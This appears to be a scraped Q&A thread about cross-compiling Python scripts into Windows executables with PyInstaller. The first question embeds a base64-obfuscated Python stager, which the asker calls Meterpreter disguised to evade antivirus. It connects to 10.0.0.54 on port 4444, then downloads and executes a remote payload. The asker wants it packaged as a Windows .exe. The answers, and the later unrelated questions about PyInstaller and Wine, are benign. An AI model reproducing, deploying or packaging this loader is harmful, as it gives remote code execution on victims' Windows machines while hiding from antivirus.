I am compiling a Python code on Kali Linux. I want to produce an .exe file to run on Windows. These are the following settings for PyInstaller:
pyinstaller -F /root/Desktop/Evil_private.py -i Evil_Private.exe
and the code is just meterpreter with some comments to avoid Anti-virus detection. The following code is:
import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]
('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQ0KI0kgYW0gbm90IGEgc2NyaXB0IGtpZGRpZQ0KZm9yIHggaW4gcmFuZ2UoMTApOg0KCXRyeToNCgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQ0KCQlzLmNvbm5lY3QoKCcxMC4wLjAuNTQnLDQ0NDQpKQ0KCQlicmVhaw0KCWV4Y2VwdDoNCgkJdGltZS5zbGVlcCg1KQ0KbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQ0KZD1zLnJlY3YobCkNCiNOaWNlIEFOVEktViBicm8sIFdIT0FBQUENCndoaWxlIGxlbihkKTxsOg0KCWQrPXMucmVjdihsLWxlbihkKSkNCmV4ZWMoZCx7J3MnOnN9KQ0K')))
When I compile it, I receive a .ELF file instead of .EXE. Maybe I could have the directory wrong? I do not think this is so, as I have checked most directories associated with PyInstaller. I have read the guide to PyInstaller, but it seems to be of no use. Is there any solution to compile Python code on Linux to get a .exe file for Windows?
From the documentation:
The output of PyInstaller is specific to the active operating system and the active version of Python. This means that to prepare a distribution for:
a different OS
a different version of Python
a 32-bit or 64-bit OS
you run PyInstaller on that OS, under that version of Python. The Python interpreter that executes PyInstaller is part of the bundle, and it is specific to the OS and the word size.
You cannot generate a .exe under Kali running its Python.
Ignacio's answer is correct. The Linux version of pyinstaller will not build Windows PEs.
A [convoluted] workaround is install wine, then install python on wine (and pyinstaller on wine).
Then run wine's pyinstaller to build the exe.
Related
I am developing Python script with Selenium under Windows10.
To automation test the web, is it possible to generate a binary file to run on CentOs under Windows10 by Pyinstaller?
Or I MUST be under the same OS which I would like to run?
And I want to check, is it correct that a file generated by Pyinstaller(or any other tool?) could run on the environment without any python-installation?
It is possible that pyinstaller makes a binary in Linux:
"PyInstaller freezes (packages) Python applications into stand-alone executables, under Windows, GNU/Linux, Mac OS X, FreeBSD, Solaris and AIX."
http://www.pyinstaller.org/
However, when you try to make a package that works on CentOS, you had better make it on that CentOS.
I'm trying to convert my python file to a .exe file.
The issue is, I'm using linux, and I can't use pyinstaller or cx_freeze to make .exe files from
.py.
Is there any way to do it?
I'm using Python 3.7.3 on Debian Linux.
TLDR: You can't.
You should be able to use PyInstaller to create executable files as it is compatible with Linux systems:
https://pyinstaller.readthedocs.io/en/stable/requirements.html#gnu-linux
pip install pyinstaller
cd /path/to/your/program
pyinstaller --onefile yourscript.py
However, at least for pyinstaller, there is no way to bundle an executable file for Windows on a Linux system that I know of:
The output of PyInstaller is specific to the active operating system and the active
version of Python. This means that to prepare a distribution for:
a different OS
a different version of Python
a 32-bit or 64-bit OS
you run PyInstaller on that OS, under that version of Python. The Python interpreter
that executes PyInstaller is part of the bundle, and it is specific to the OS and the
word size.
Source: https://pyinstaller.readthedocs.io/en/stable/operating-mode.html
I have a program written in python that is exported to a raspberry pi to run. I tested the .py file in the raspberry pi to verify that it works, then used pyinstaller to make a --onefile copy of the .py file as an executable. When I attempt to run the executable, I get an error that states no module named tkinter.
ImportError: no module named tkinter
I had problems before using pyinstaller on an x86 computer and trying to port to the raspi, but I compiled on the raspi and avoided that issue, now it just seems like I am not freezing all the packages like it is supposed to. To make the executable, I ran the following:
pyinstaller --onefile bar_3axis.py
Any help would be appreciated. Do I need to post complete readout from pyinstaller command?
Well I would like everyone to know it was because my program was written in and supported by python3 packages and I downloaded and was using pyinstaller that used python 2.7 to make the executable. I uninstalled pyinstaller and redownloaded using pip3 and it worked like a charm.
Made a python script in Ubuntu, but I read that pyinstaller compiles based on the operating system, so if I compile it on Ubuntu, it'll be for Ubuntu. How can I make an executable in Ubuntu, for Windows, or do I have to export my script into my Windows OS and compile it there?
From PyInstaller’s documentation:
If you need to distribute your application for more than one OS, for example both Windows and Mac OS X, you must install PyInstaller on each platform and bundle your app separately on each.
So, yes, you generally must run PyInstaller on the operating system the emitted binary will be run on. The documentation does suggest using a virtual machine and that running PyInstaller with WINE may work.
I have a python code which uses the pygkt, gtk, ctypes, os and some other modules. I used pyinstaller to create a stand-alone executive of the code. It worked fine on ubuntu. Now I wanted to create another stand-alone executive for windows platform.
I used the tool https://github.com/paulfurley/python-windows-packager for it and followed the steps. But I got the error: module gtk not found.
How to fix the issue ?
Are there any other tools to convert python code to stand-alone executable for windows os ? If yes, please provide the details ?
Thank you
I'd recommend using pyinstaller
Example:
$ pip install pyinstaller
$ pyinstaller -F myscript.py
You should now have a build/myscript/myscript.exe executable.
If in Windows, Best way to do it is via Cygwin.
Ensure you have Python 3.5+ version not 3.6
pip install pyinstaller
Go to the directory where the .py file is which needs to be packaged.
Then run
$ pyinstaller --onefile test.py
Simple to have a single file executable.